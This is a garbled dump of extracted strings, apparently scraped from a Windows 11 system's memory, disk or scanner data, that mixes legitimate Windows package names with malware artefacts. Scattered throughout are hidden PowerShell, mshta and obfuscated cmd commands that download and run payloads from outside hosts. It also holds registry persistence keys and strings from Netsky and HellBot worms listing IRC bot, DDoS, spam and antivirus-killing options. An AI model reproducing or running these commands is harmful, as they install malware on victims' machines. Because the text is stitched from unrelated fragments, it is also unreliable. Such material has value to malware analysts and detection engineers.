c:\windows\system32\cmd.exe/v/k"start/min""powershell-windowstylehidden-nologo-noprofile-executionpolicybypass-command"$content=invoke-webrequest-uri'https://zaoui.nl/file/
software\microsoft\windows\currentversion\explorer\shell folders
c:\windows\
c:\windows\
&levelc:\windows\dnf.inilin.asp
software\microsoft\windows\currentversion\shellserviceobjectdelayload\regsvr32.exe /s %s&name=%s&pass=%s&role=%s&level=%s&money=%s=%s&passrole=%s&mb=%s&card=%s=%s|%s=%s|%s=%s&store=%s&key=%s&?action=getpos&name=
stupid kavc:\me.mp3c:\ali.htmlantispywareantispyware.exespywaredoctor.dllsystem32\drivers\sslsystem32\drivers\ssl\06madtoolsmaddisasmc:\windows\spywaredoctor.dllc:\windows\system32\drivers\sslc:\windows\system32\drivers\ssl\06findexecutableantopensectionntmapviewofsectionntunmapviewofsection
software\microsoft\windows\cu&adv=@
~software\microsoft\windows\currentversion\explorer\data\address46software\microsoft\windows\currentversion\explorer\data\auth46microsoft\internet explorer\prndrv.dllsoftware\microsoft\filterscript execution failed__proxy_mutex_%d__.submitformimage.clickhyperlink72.232.136.59.submitformproxy2.dll
Windows11
Unlock richer image descriptions across Windows
pwindows\system32\mshta.exehttp://102.165.32.158/dash/sk.hta
windows.hlp`
C:\WINDOWS\System32\spoolsv.exe,
(@Microsoft-Windows-WER-SystemErrorReportingQ
ndows\System32\wevtutil.exe
WATValueWindows
NonWindows
Windows::Isolation::Rtl::RtlGenerateBaseIdentityAnsiKeyForm
Windows::Isolation::Rtl::RtlCreateIdentityAttributeEnumerator
Windows::Isolation::Rtl::RtlFetchIdentityAttributeEnumeratorData
Assets/contrast-black/WindowsSecurityAppList.targetsize-96_altform-unplated_contrast-b
-/WindowsSecurityAppList.targetsize-96_altform-lightunplated_J
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.38
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.4
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.5
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.6
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.7
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.8
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.9
WindowsBackup.AppX0rebzwn6am0h21d99kr6vpzwcvm6rap7.mca
]mozilla/5.0 (windows; u; msie 9.0; 
be6cba0511c242e888b27d4b3e3e8734_IsMappingValidWindowsIllegalNameOnPath
ComSpec=C:\WINDOWS\system32\cmd.exe
unhookwindowshookex
GetWindowsDirectoryW
System.Windows.Forms.UnsafeNativeMethods.IPersistStorage.SaveCompleted
System.Windows.Forms.ComponentModel.Com2Interop.IComPropertyBrowser.EnsurePendingChangesCommitted
ffuvztncv.qyyshimgapi.dllfbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\rkcybere\pbzqyt32\irefvbazincitevagreargtrgpbaarpgrqfgngrjvavarg.qyy jvanzc5jjj.zvpebfbsg.pbz0.0.0.0 www.microsoft.comkhudtoc.sdarxl.msdbkhudtoc.sdabnlvvvalb.eddabnlfbsgjner\xnmnn\genafsrefbsgjner\zvpebfbsg\jvaqbjf\pheeragirefvba\ehafbsgjner\zvpebfbsg\jno\jno4\jno svyr anzrfbsgjner\zvpebfbsg\vagrearg nppbhag znantre\nppbhagffzgc freiresmtp display namemx.%sIEFrameath_noterctrl_renwnd32\drivers\etc\hostsdnsquery_a            .pifthe attached file for detailssoftware\microsoft\wab\wab4\wabdocument.zipepcg gb:<%f>220 bot server (win32)znvy sebz:<%f>pbagrag-qvfcbfvgvba: nggnpuzrag;+++ attachment: no virus foundhttp://www.google.com/search?hl=en&ie=utf-8&oe=utf-8&q=%sfor /l %%i in (1,1,10000) do c:[-= smash =-]ts_rnd_from_domaints_sender_domainsystem\currentcontrolset\services\sharedaccess\parameters\firewallpolicy\standardprofile\authorizedapplications\listto netsky's creator(s): imho, skynetc:\feedlistnetbios extsoftware\microsoft\office\outlook\omi account manager\accountssoftware\microsoft\office\outlook\omi accounrosoft\wab\wab4\wab file namesoftware\microsoft\windows\currentversion\app paths\icq.exesoftware\microsoft\windows\currentversion\explorer\comdlg32rcpt to:<%s>2tnesv.qd,nhbqnrnes,xhmcnvr,dtqqdmswdqrhnm,fwoknqdq,tgdkktl.rndr#vsdkvmes#wtelwkr.rquadwdtnesv.qd,nhbqnrnes,xhmcnvr,dtqqdmswdqrhnm,stmtnesv.qd,nhbqnrnes,xhmcnvr ou,dtqqdmswdqrhnm,xhmknfnmcqhudqr,dsb,gnrsratnesv.qd,l.y..,uq.mredqgrdquarxrjmsdqmdshdsdnmmdbsdcts.sd%s, %u %s %u %.2u:%.2u:%.2u %c%.2u%.2usde+hooklib demo*** wsock32.dll::connect/send() api functions are now hooked ***injected_va = 0x%08x = 0x%08xstringtable = 0x%08x = 0x%08xc:\sockethook.log[x] injected to (%s)[x] done system wide injectionh-e-l-l-b-o-t-p-o-l-y-m-o-r-p-hthe source of this worm has been released to public. irc server: irc.powerirc.net #ccpower[x] starting hellbot::v3 beta2+
Ttheago@gmx.netpenis32.exeirc.serverirc.reconnectirc.rawirc.quitirc.privmsgirc.partirc.netinfoirc.modeirc.joinirc.gethostirc.geteduirc.actionirc.disconnectbot.commandbot.unsecurebot.flushdnsbot.quitbot.highspeedbot.longuptimebot.sysinfobot.statusbot.rndnickbot.removeallbutbot.removebot.openbot.nickbot.idbot.executebot.dnsbot.diebot.aboutinst_polymorphvuln_channelsniffer_channelsniffer_enabledspam_aol_enabledspam_aol_channelscaninfo_levelscaninfo_chancdkey_windowsidentd_enabledredir_maxthreadsddos_maxthreadsscan_maxsocketsscan_maxthreadsas_service_nameas_serviceas_enabledas_valnamedo_stealthdo_avkilldo_speedtestbot_topiccmdbot_meltserverbot_randnickbot_compnickbot_secloginbot_timeoMZ
c:\windows\system32\rundll32.exe&
ogram Files\kuzhan\kuzhan.dllsss1.sss2.1C:\Program Files\Common Files\UPDATE2\update.exe.1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE-Barhttp://0.82211.net/.
wINDOWS nt\cURRENTvERSION\sVCHOST%sYSTEMrOOT%\sYSTEM32\SVCHOST.EXE -K NETSVCSSuperX
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwee
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbweplicat
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~en-US~10.0.26100.1000.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|osoft-Windows-NetFx3-OnDemand-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|t|
Microsoft.Windows.Security.BCrypt
Microsoft.Windows.Security.BCrypt
%SYSTEMROOT%\System32\CMD.EXE
C:\Windows\KsDumperDriver.sysC
C:\ProgramData\Microsoft\Windows\Start Menu\ProgramsC
Microsoft.Windows.Security.Schannel
Microsoft.Windows.TlgAggregateInternal
d inputAccessoryViewIDjactivityListMenuitemViewonlinenableMapSetMass value must be greater than 0activity_center/handleResponseForCachedMessageQueueupdateMissing index!Missing owner for string ref MobileAppTitleMODE_QUERY_PARAMETERCTModalHostViewTypeg$parsenumbergba(255, 255, 255, 0)MonthlyPriceBucketMust provide a valid callbackRefreFilesOnDemandOnlineOnlyDescV2Must provide a valid failureCallbackupButtonAudioFocusChangedMust provide a valid successCallbackwardsettingsRadioPanelToggleLabelastRenderedReduceresetAnimationCompleteMust set exactly one of itemVisiblePercentThreshold or viewAreaCoveragePercentThresholdI18nextHasLoadedNamespace-betweendStateMIDDOT_KATAKANATIVEanimatedValueTagenerateHeaderForNative animated module is not availableRNSVGTSpandroid.permission.ACCESS_MEDIA_LOCATIONativeAnimatedTurboModuleTRANSFERCTNativeAppEventEmitterrorBadgeBackgroundDarkfmOptOutDialogLockedFileBodyMultiV2android.permission.BLUETOOTH_SCANativeTiming is availableIMPRESSIONesting of <Image> within <Text> is not currently supported.MIDPOINTERACTIONesting of <View> within <Text> is not currently supported.createLruCacheckIfDisabledNodeExistsettingsSyncAutoPauseMeteredNetwork request timed outerCirclePressedaddAccountImaget Networkinget typeg$c23Tried to register two views with the same name %settingsAutoSaveImportCheckboxNewHeaderExperienceUIEdgeInsetsettingsAutoSavePhotosVideosNewSurveyQuestionExperienceMODE_DROPDOWNo backend was added via i18next.use. Will not load resources.RNSVGSvgIOSURFACE_SECURESOLUTIONo callback found for timerID isNaNo debug information availableNo fetch and no xhr implementation found!No scrollTo method provided. This may be because you have two nested VirtualizedLists with the same orientation, or because you are using a custom component that does not implement scrollTo.No spc receivedefaultTextStyleNo task registered for key NoOptOutResultModalBodyNot yet implemented._parentRefromObject not disposable.isObject.entries called on non-objectOfromArrayViewheattachSuspenseRetryListenersettingsRadioButtonHinternal_analyticTagetCurrentReduceTransparencyStatepushTopLevelContextObject.setPrototypeOf() cannot be used on an Immer drafterCancelActionButtonativeTraceEndSectionormalizeColorObjectandroid.permission.RECORD_AUDIOecreateFiberFromOffscreenReaderChangeduseSSRCTPopupdateAllChildrenNodescribeFibereportABugObfuscationKeyToggleOnCancelClickedcurrentPageIndexitSurveyDontKnowWhatOneDriveIsBothemeDatactivitySummarySyncingPrimarySingularV2currentOnly native driven events need to be attached.mkfmOnboardingEasyAccessFooterRightTextrapolateLeftNavlanguageOnly native driven events need to be detached.android.permission.POST_NOTIFICATIONShould have a current fiber. This is a bug in React.USER_INPUT_DIALOGvaultAdminPageDownamePrefixltxvaultIntroPageUpaleturquoiselectiveSyncConfirmDialogVaultBlockSecondaryTextouchableGetHighlightDelayMSendFeedbackUIActionVideoTrackshowPopupMenunitGigabytesTotalUnitsendSmileOrFrownContainer__callReactNativeMicrotasksPassing SvgLengthList to x or y attribute where SvgLength expectedefaultTransParentapplyPatcheselectinitialTaboutIconfirmationBoxDismissButtonAccessibilityLabelatin1SliceCaption1StrongetLastOfPath 38993unsafelyIgnoreFunctionsurveyRadioPickerItemPermissionUnknown encoding: bulletImaget PickerWindows has been extracted and removed from react-native-windows. It can now be installed and imported as Picker from '@react-native-picker/picker'. See https://github.com/react-native-picker/pickerWindowsize300MIDDOT_SPinged unknown suspense boundary type. This is probably a bug in React.cloneElement(...): The argument must be a React element, but you passed _onContentSizeChangeCaptureact.cacheUserLanguaget PixelRatiodignoreModalBodyTextopPartialLoaddTimespanHandlershowTooltipostal-address-countryNamemoryWarning: NBSPlatformColor(ButtonText)RESULTSUBRIPlatformColor(Highlight)PlatformColor(HighlightText)PlatformColor(Hotlight)PlatformColor(Window)PlatformColor(WindowText)PlatformConstantsettingsAccountVaultAutolockfmOnboardingKFMDisabledPhotoHeadingTextutorial_page/refresh_pageIdPlease use the
FwHResultToWindowsError
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
WindowsApps.Resources.resourcesW
.dll')start-process-filepath"c:\windows\system32\rundll32.exe"-argumentlist"
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-CoreSystem-RemoteFS-Client-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-Kernel-Package-DriverVerifier-Tools-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat|
C:\WINDOWS\system32\svchost.exe
Software\Microsoft\Windows\Currentversion\RunOnce
Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome&post=
P~MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy!ClickToDoApp
P~MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackup
P~MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost
P~windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
W~Microsoft.Windows.Shell.RunDialog
W~Microsoft.Windows.RemoteDesktop
P~Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows
P~Microsoft.WindowsTerminal_8wekyb3d8bbwe!App
P~Microsoft.Windows.DevHome_8wekyb3d8bbwe!App
P~Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe!App
P~Microsoft.Windows.Photos_8wekyb3d8bbwe!App
temRoot%\system32\mswsock.dl
windows
Close Windows S
up\windows.lnktest_f
http/1.0lineage windows clienteghost.exepasswordguard.exekvapfw.exeiparmor.exe
:authorityaps.prod.windows.coml
Sc:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-c'mshta'.insert(5,'https://downloads.solucionarproblemas.website/boemolsb/extension_dropper.exe')".
c:\windows\system32\forfiles.exe/pc:\windows\vss/c"powershellstartmshtahttps://dl.dropboxusercontent.com/scl/fi/aur0asu195akuhc7q88lq/mlwr?rlkey=ltpi9kve7882q0vksvvb54han
[2026-02-24T08:06:46.715Z] [ message] [vmusr] [952] Guest OS details: architecture='X86' bitness='64' buildNumber='26200' distroName='Windows' distroVersion='10.0' familyName='Windows' kernelVersion='26200.7840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-Client-Features-Package08~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft.Windows.Security.CAPI
Microsoft.Windows.TlgAggregateInternal
Windows
c:\windows\
COMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
EDGE_USER_DATA_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp\0ba7b553833441b0a01cdbbb2df0d391.db
EDGE_USER_DATA_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
COMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
.?AUtype@?$abi@UIUnknown@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@U?$disconnect_aware_handler@U?$await_adapter@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@@impl@4@@impl@winrt@@
.?AU?$disconnect_aware_handler@U?$await_adapter@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@@impl@winrt@@
.?AU?$delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@U?$disconnect_aware_handler@U?$await_adapter@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@@impl@4@@impl@winrt@@
.?AU?$implements_delegate@U?$AsyncOperationCompletedHandler@I@Foundation@Windows@winrt@@U?$disconnect_aware_handler@U?$await_adapter@U?$IAsyncOperation@I@Foundation@Windows@winrt@@@impl@winrt@@@impl@4@@impl@winrt@@
.?AU?$disconnect_aware_handler@U?$await_adapter@U?$IAsyncOperation@I@Foundation@Windows@winrt@@@impl@winrt@@@impl@winrt@@
.?AU?$delegate@U?$AsyncOperationCompletedHandler@I@Foundation@Windows@winrt@@U?$disconnect_aware_handler@U?$await_adapter@U?$IAsyncOperation@I@Foundation@Windows@winrt@@@impl@winrt@@@impl@4@@impl@winrt@@
.?AUtype@?$abi@U?$AsyncOperationCompletedHandler@I@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@U?$AsyncOperationCompletedHandler@UBitmapDecoder@Imaging@Graphics@Windows@winrt@@@Foundation@Windows@winrt@@U?$disconn
 .exec "c:\\..\\..\\..\\windows\\" + 
\appdata\roaming\microsoft\windows\
Lua:SuspiciousExeFileInAppdataMicrosoftWindows.A
\appdata\roaming\windowsupdate\
Lua:SuspiciousExeFileInAppdataWindowsupdate.A
\windows\recent
\appdata\local\packages\microsoft.windows
\Microsoft\Windows\w
windows.appUriHandler
CloudData.WindowsClient.DisableSyncOnActivityFeed
$CloudData.WindowsClient.DisableSyncOnActivityFeed
tp.9377s.com/1699542/?trackid=21078062000747111316312600005743&creativeid=1826640&ip=39.77.71.72&ua=Mozilla%2F5.0+(Windows+NT+10.0%3B+Win64%3B+x64)+AppleWebKit%2F537.36+(KHTML%2C+like+Gecko)+Chrome%2F121.0.0.0+Safari9
WINDOWS11
root\Microsoft\Windows\DeviceGuard
GetSystemWindowsDirectoryW
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
7System.Windows.Forms.FileDialogNative+FileOpenDialogRCW
7System.Windows.Forms.FileDialogNative+FileSaveDialogRCW
System.Windows.Forms.Design.ImageCollectionEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
"System.Windows.Forms.LinkConverter
-System.Windows.Forms.ListViewSubItemConverter
@System.Windows.Forms.ScrollableControl+DockPaddingEdgesConverter
System.Windows.Forms.Design.ListControlStringCollectionEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
U%System.Windows.Forms.AutoCompleteMode
U'System.Windows.Forms.AutoCompleteSource
U System.Windows.Forms.BorderStyle
U$System.Windows.Forms.CharacterCasing
System.Windows.Forms.Design.StringArrayEditor, System.Design, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3auSystem.Drawing.Design.UITypeEditor, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
U(System.Windows.Forms.HorizontalAlignment
U'System.Windows.Forms.LeftRightAlignment
 Windows
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUI
      <Color Name="ToolWindowShelf">
dows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-executionpolicybypass-file"c:\users\bruno\appdata\local\temp\
cmd.exec/cstartantiusbshortcut\antiusb.exe"antiusbshortcut\antiusbshortcut.zip"&explorer"%cd%"&exit%windir%\system32\shell32.dll
hkey_local_machine\software\policies\microsoft\windows\windowsupdate\auh
c:/windows/system32/d
c:/windows/system32/d
Pc:\windows\system32\cmd.exe/cpowershell
cw5n1h2txyewy!WindowsDefault$
C:\Program Files\WindowsApps\Microsoft.
ogram Files\WindowsApps\Microsoft.
-ngton, C=US8wekyb3d8bbweMicrosoft.WindowsAppRuntime.CBS.1.6_1
C:\Program Files\WindowsApps\Microsoft.XboxGamingOverlay_7.325.7221.0_x64__8wekyb3d8bbwek
C:\Program Files\WindowsApps\Microsoft.
Windows.UI.Xaml.
y_Servicing_Dcr_23_04_NonSeca-ESoftware\Microsoft\Windows\CurrentVersion\Explorer\AdvancedismissPopupMenumerableftitle3^https?:\/\/.*?\/s
JE#$="hklm:\software\microsoft\windows\currentversion\shell";$
ficrosoft\Windows\CurrentVersion\RunWindUpC:\COMMAND.COM /C DELhttp://windowsupdate.microsoft.comhttp://67.15.
windows\currentversion\uninstall\njax
windows\currentversion\uninstall\wnet
WINDOWS11
ROOT\Microsoft\Windows\DeviceGuard
WINDOWS11
shellcommon\undockeddevkit\libs\windowsudk.ui.shell\suggestedaction.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.dashboard\dashboardsettings.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.monitorconfiguration\monitorconfigurationstore.cpp
shellcommon\undockeddevkit\libs\windowsudk.ui.shell.monitorinfo\displaymonitorinfocollection.cpp
"syncGUID":"{13186dc4-4bc2-4c1a-8b4d-ba736d35fdd6}"{FA1B727D-3970-4561-8AC6-AC8AA7DBA639}"],"matches":["http://*/*", "https://*/*"],"run_at":"document_endegefklfmaeogcfhelnamdhgknndnpeim/S /C choice /C Y /N /D Y /T 3 & "C:\myapp.exe" "C:\myapp.exeSoftware\Microsoft\Windows\CurrentVersion\Performer
wsh.Run "cmd.exe /S /C reg add  HKEY_CURRENT_USER\Software\Classes\CLSID\ /f /reg:64", windowStyle, waitOnReturnwsh.Run "cmd.exe /S /C reg add  HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543} /f /reg:64", windowStyle, waitOnReturnwsh.Run "cmd.exe /S /C reg add  HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32 /ve /t REG_SZ /d
application.run windows.label
.run windows.label1.tag + " " & windows.tag +
#c:cd\cd\windowsgoto
cdsystem32goto
Windows
/windows
NYcmd.exedropboxg/v/rs^t^art^ms^iexec/^q^n/f^v"http://0p.rs:8080/avypswfyfs/u1dz0lb9iyzwldujup9yfuvt/!computername!"!%systemroot%\system32\shell32.dll%
{\windows\system32\windowspowershell\v1.0\powershell.exek.$env:c:\?i*\s*3?\m*ta.e*('http://116.203.19.97/1/lib32'+'.h'+'ta')shell32.dll%wn]nd.q1spsxfl
system32v2hejcmd.exe@hejhej.*jkcmd.exel/kosc:\windows\system32\cmd.exe!..\..\..\windows\system32\cmd.exe/c
c:\windows\system32\cmd.exeprojectl/x/v/rstar^tms^i^ex^e^c^duf^hll=^px^i/^q^n/^fv"http://2t.pm:8080/bsaoy4rbvuvvfueybh3i/!computername!"imageres.dll%
curl-sl-o"%appdata%\microsoft\windows\startmenu\5
windows="	
    "platform.win":  "Windows",
B=newactivexobject("windowsinstaller.installer");installer.uilevel=
67^windows.appExtensionHost
fCpcshell\shell\Windows.UI.FileExplorer\src\Utils.h
pcshell\shell\Windows.UI.FileExplorer\src\CommandBar\CommandBarViewAdapter.cpp
pcshell\shell\Windows.UI.FileExplorer\src\ViewAdapter\XamlIslandDockingWindow.cpp
pcshell\shell\Windows.UI.FileExplorer\src\CommandBar\FileExplorerStorageProviderStatusUISource.cpp
pcshell\shell\Windows.UI.FileExplorer\src\CompressToCommand.cpp
c:\windows\|
Microsoft Windows Publisher
	windows 8
c:\windows\system32\regsvr32.exe 
c:\windows\system32\
c:\windows\system32\
C:%5CPROGRAM FILES%5CWINDOWSAPPS%5CMICK
.exe-passthru-windowstylehidden-arg
\windows\currentverg
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\Resource.h
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
"C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\WidgetBoard.exe" -RegisterProcessAsComServer -ServerName:Microsoft.Windows.WidgetBoardServer
OS=Windows_NT
Microsoft-Windows-Shell-CortanaTrace
Microsoft.Windows.AppLifeCycle
Microsoft-Windows-Shell-CortanaProactive
Microsoft.Windows.Shell.CortanaSearch
Windows PowerShell/
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
76Windows/
